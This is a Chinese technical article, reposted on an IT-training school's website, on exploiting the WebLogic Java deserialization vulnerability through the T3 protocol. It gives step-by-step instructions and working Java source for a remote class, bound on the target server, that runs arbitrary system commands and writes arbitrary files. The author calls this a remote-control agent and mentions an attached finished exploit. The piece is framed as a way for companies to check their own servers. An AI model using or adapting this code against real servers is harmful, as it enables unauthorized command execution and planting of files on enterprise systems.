欢迎来到 IT实训基地-南通科迅教育
咨询电话:0513-81107100
Java反序列化漏洞之weblogic本地利用实现篇
2016/4/11
南通科迅教育
646
南通零基础IT培训机构收费标准
 

前言

weblogic在国内的的应用范围比较广,支撑着很多企业的核心业务,所以一直没有把weblogic的利用工具发布出来。但是最近很多甲方的朋友问我有没有方便的工具检测他们公司部署在内网的weblogic,其实这个漏洞公布了这么久,维护人员也都意识到了这个漏洞的危害性,只是网上公开的检测方法易用性不是太好,检测起来比较麻烦,所以就有了这篇文章。

思路

因为weblogic会把异常直接打印到服务器端的控制台上,所以在jboss中通过异常封装回显的方法在weblogic上并不适用(参考另一篇文章:Java反序列化漏洞执行命令回显实现及Exploit下载)。但是weblogic有更方便的方法,weblogic是通过T3协议来传输序列化的类,那我们就可以通过T3协议来实现exploitserver的通信,因为weblogicT3协议和WEB协议共用同一个端口,所以只要能访问weblogic,就可以利用,不需要加载远程类,因此对服务器能否连外网没有要求。关于T3协议的详细介绍,此次不再赘述,如果读者对此不熟悉也没关系,只要知道T3协议允许客户端远程调用服务端的类就可以了。所以我们整理一下思路:

1)首先我们在本地创建一个可以供我们远程调用的类并编译。

2)把编译好的类上传至服务器。

3)在远程服务器上注册并绑定我们上传的类。

4)本地远程调用我们的类,执行我们想要执行的指令。

5)执行完毕,反注册远程类。

6)删除类文件。

实现

创建我们的远程类,在类中实现两个方法,执行系统命令获取回显和上传文本文件,该类必须继承java.rmi.Remote接口,代码如下:接口:

public interface InitApp extends java.rmi.Remote {

      String runCmd(String cmd) ;

  String putFile(String Content,String Path);

}

实现类:

public class InitAppImpl implements InitApp{   

  private String name;

  public InitAppImpl(String s) throws RemoteException {

    super();

    name = s;

  }

  /**

   * Returns a string.

   *

   * @return results of cmd

   *

   */

  public String runCmd(String cmd)  {

      try

      {

      Process proc = Runtime.getRuntime().exec(cmd);

        BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));

        StringBuffer sb = new StringBuffer();

        String line;

        while ((line = br.readLine()) != null) {

        sb.append(line).append("\n");

        }

        return sb.toString();

      }

      catch(Exception e)

      {

          return e.getMessage();

      }

  }

  public String putFile(String Content,String Path) {

      try

      {

          FileOutputStream fo=new FileOutputStream(Path);

          fo.write(Content.getBytes());

          fo.close();

          File f=new File(Path);

          if (f.exists())

          {

              return Path+"上传成功!已验证存在。";

          }

          else

          {

              return Path+"上传成功!";

          }

          

      }

      catch(Exception e)

      {

          return e.getMessage();

      }

     

    

  }

 

  public static void main(String args[]) throws Exception {        

    try {

      InitAppImpl obj = new InitAppImpl("RemoteClass");

      Context ctx = new InitialContext();

      ctx.bind("RemoteClass", obj);   

    }

    catch (Exception e) {

      System.err.println("RemoteClass: an exception occurred:");

      System.err.println(e.getMessage());

      throw e;

    }

  }

}

总结

通过这种方法,我们完全可以扩展远程类的功能,不仅仅只局限于回显和文本上传,比如二进制文件上传,因为这里远程类其实已经相当于一个远控的服务端(agent)了。也可以不局限于T3协议,利用其他可以远程调用的协议都是可以的,也可以不局限于weblogic,其他的web容器也可以,只不过有的容器默认的远程调用相关的端口不对外开放,应用起来会比较局限。好了,前面的代码都是一些demo,下面附上成品的exploit,没有进行任何加密混淆,。有兴趣的同学可以反编译直接看到完整源代码。因为附带了weblogic的包,所以体积比较大。

77
关闭
先学习,后交费申请表
每期5位名额
在线咨询
免费电话
QQ联系
先学习,后交费
TOP
您好,您想咨询哪门课程呢?
关于我们
机构简介
官方资讯
地理位置
联系我们
0513-91107100
周一至周六     8:30-21:00
微信扫我送教程
手机端访问
南通科迅教育信息咨询有限公司     苏ICP备15009282号     联系地址:江苏省南通市人民中路23-6号新亚大厦三楼             法律顾问:江苏瑞慈律师事务所     Copyright 2008-